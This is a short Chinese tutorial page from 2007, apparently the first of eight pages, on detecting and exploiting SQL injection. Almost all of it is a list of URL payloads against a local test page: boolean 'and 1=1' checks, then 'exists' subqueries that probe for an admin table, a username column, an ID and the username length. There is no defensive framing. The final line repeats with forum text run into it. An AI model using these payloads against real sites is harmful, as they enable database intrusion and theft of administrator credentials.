简单学习理解掌握SQL注入技术！

来源： 作者：网页教学网 出处：巧巧读书 2007-03-20 进入论坛

关 键 词：数据库  sql注入  os  access  

下一页 1 2 3 4 5 6 7 8 

　　检测可否注入

http://127.0.0.1/xx?id=11 and 1=1 (正常页面)

http://127.0.0.1/xx?id=11 and 1=2 (出错页面)


检测表段的


http://127.0.0.1/xx?id=11 and exists (select * from admin)


检测字段的


http://127.0.0.1/xx?id=11 and exists (select username from admin)


检测ID


http://127.0.0.1/xx?id=11 and exists (select id from admin where ID=1)


检测长度的


http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)


检测长度的


http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)进入论坛讨论。

下一页 1 2 3 4 5 6 7 8